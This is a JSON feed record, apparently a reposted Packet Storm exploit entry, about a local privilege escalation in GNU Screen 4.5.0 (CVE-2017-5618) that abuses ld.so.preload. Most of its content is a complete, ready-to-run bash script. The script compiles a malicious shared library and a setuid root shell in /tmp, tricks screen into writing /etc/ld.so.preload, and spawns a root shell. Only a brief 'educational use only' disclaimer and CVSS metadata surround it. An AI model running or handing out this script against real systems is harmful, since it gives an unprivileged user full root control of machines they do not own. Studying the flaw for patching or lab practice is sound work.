{“lastseen”:”2025-10-06T17:35:45″,”description”:”GNU………………………………………”,”published”:”2025-10-06T00:00:00″,”modified”:”2025-10-06T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 GNU Screen 4.5.0 Local Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:210183″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2016-8781″,”CVE-2017-5618″],”sourceData”:”### GNU Screen 4.5.0 Local Privilege Escalation Exploit (CVE-2017-5618)\\n \\n ## \ud83d\udccc Overview\\n Local privilege escalation exploit for GNU Screen 4.5.0 that hijacks shared library loading to gain **root access** via `ld.so.preload` manipulation.\\n \\n \\n ## \ud83d\udd27 Technical Details\\n \\n Vulnerability: CVE-2017-5618\\n \\n Type: Shared Library Hijacking via ld.so.preload\\n \\n Affected: GNU Screen 4.5.0 exclusively\\n \\n Fixed in: GNU Screen 4.6.0+\\n \\n \\n \\n ## \ud83c\udfaa The Vulnerability Circus\\n \\n \\n CVE: 2017-5618 \ud83c\udfaf\\n \\n ***The Bug: Screen 4.5.0 creates log files with DANGEROUS permissions***\\n \\n ***The Magic: We trick it into creating \/etc\/ld.so.preload that loads our malicious library***\\n \\n ***The Payload: Instant root shell! \ud83d\udc1a***\\n \\n \\n \\n ## Script \ud83d\uddd2\ufe0f\\n \\n “`bash\\n #!\/bin\/bash\\n # exploit.sh\\n # setuid screen v4.5.0 local root exploit\\n # abuses ld.so.preload overwriting to get root.\\n # CVE-2016-8781\\n # tested on debian jessie (8.6) with screen 4.5.\\n # 0xHackers – Darke\\n echo \\”~ gnu\/screenroot ~\\”\\n echo \\”[+] First, we create our shell and library…\\”\\n cat \\u003c\\u003c EOF \\u003e \/tmp\/libhax.c\\n #include \\u003cstdio.h\\u003e\\n #include \\u003csys\/types.h\\u003e\\n #include \\u003cunistd.h\\u003e\\n __attribute__ ((__constructor__))\\n void dropshell(void){\\n chown(\\”\/tmp\/rootshell\\”, 0, 0);\\n chmod(\\”\/tmp\/rootshell\\”, 04755);\\n unlink(\\”\/etc\/ld.so.preload\\”);\\n printf(\\”[+] done!\\\\n\\”);\\n }\\n EOF\\n gcc -fPIC -shared -ldl -o \/tmp\/libhax.so \/tmp\/libhax.c\\n rm -f \/tmp\/libhax.c\\n cat \\u003c\\u003c EOF \\u003e \/tmp\/rootshell.c\\n #include \\u003cstdio.h\\u003e\\n int main(void){\\n setuid(0);\\n setgid(0);\\n seteuid(0);\\n setegid(0);\\n execvp(\\”\/bin\/sh\\”, NULL, NULL);\\n }\\n EOF\\n gcc -o \/tmp\/rootshell \/tmp\/rootshell.c\\n rm -f \/tmp\/rootshell.c\\n echo \\”[+] Now we create our \/etc\/ld.so.preload file…\\”\\n cd \/etc\\n umask 000 # because\\n screen -D -m -L ld.so.preload echo -ne \\”\\\\x0a\/tmp\/libhax.so\\” \\n echo \\”[+] Triggering…\\”\\n screen -ls \\n \/tmp\/rootshell\\n \\n “`\\n ## Screenshots\\n \\n \\u003e Checking Vulnerable Screen Version.\\n \\n \\n \\n \\n \\u003e Creating The File And Giving Required Permissions.\\n \\n \\n \\n \\n \\u003e Root Access Gained.\\n \\n \\n \\n \\u003e Root shell achieved – full system control\\n \\n ## \u26a0\ufe0f Warning Label\\n \\n \\n FOR EDUCATIONAL USE ONLY! \u26a0\ufe0f\\n Don’t be a script kiddie – use this only on systems you own or have explicit permission to test.\\n \\n ## Tested On\\n TryHackMe KOTH Room – Food”,”sourceHref”:”https:\/\/packetstorm.news\/download\/210183″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.0\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:”3.0″,”vectorString”:”CVSS:3.0\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”baseScore”:7.8,”baseSeverity”:”HIGH”,”attackVector”:”LOCAL”,”attackComplexity”:”LOW”,”privilegesRequired”:”LOW”,”userInteraction”:”NONE”,”scope”:”UNCHANGED”,”confidentialityImpact”:”HIGH”,”integrityImpact”:”HIGH”,”availabilityImpact”:”HIGH”}},”href”:”https:\/\/packetstorm.news\/files\/id\/210183\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-10-06T17:35:45″,”description”:”GNU………………………………………”,”published”:”2025-10-06T00:00:00″,”modified”:”2025-10-06T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 GNU Screen 4.5.0 Local Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:210183″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2016-8781″,”CVE-2017-5618″],”sourceData”:”### GNU Screen 4.5.0 Local Privilege Escalation Exploit (CVE-2017-5618)\\n \\n ## \ud83d\udccc Overview\\n Local privilege escalation exploit for GNU…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-20388","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n